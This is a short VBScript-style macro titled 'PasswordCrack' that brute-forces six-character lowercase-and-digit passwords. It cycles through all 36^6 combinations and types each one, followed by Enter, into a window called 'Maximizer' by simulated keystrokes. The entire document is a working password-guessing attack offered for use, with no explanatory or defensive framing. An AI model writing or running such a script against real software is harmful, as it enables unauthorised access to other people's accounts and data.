{script}
'PasswordCrack: process every letter of the alphabet and number and combination
with brute force
allowinfiniteloops
msgbox "PassWordForce - the automatic password tryer" & chr(13) & chr(10) &
"Start all possibilities from " &chr(13) & chr(10) & "aaaaaa through zzzzzz to
000000"
dtStart =date() & " " & time()
cAlphabet ="abcdefghijklmnopqrstuvwxyz1234567890"
nAlphaLen =36
for nU =1 to nAlphaLen
for nV =1 to nAlphaLen
for nW =1 to nAlphaLen
for nx =1 to nAlphaLen
for nY =1 to nAlphaLen
for nZ =1 to nAlphaLen
cPassWord =""
cPassWord = cPassWord & Mid(cAlphabet,nU,1)
cPassWord = cPassWord & Mid(cAlphabet,nv,1)
cPassWord = cPassWord & Mid(cAlphabet,nW,1)
cPassWord = cPassWord & Mid(cAlphabet,nX,1)
cPassWord = cPassWord & Mid(cAlphabet,nY,1)
cPassWord = cPassWord & Mid(cAlphabet,nZ,1)
appActivate "Maximizer"
doevents
sendkeys cPassword
sendkeys "{Enter}"
next
next
next
next
next
next
msgbox "Start: " & dtStart & chr(13) & chr(10) & "Ended: " & date() & " " &
time() & chr(13) & chr(10) & cPassword
{/script}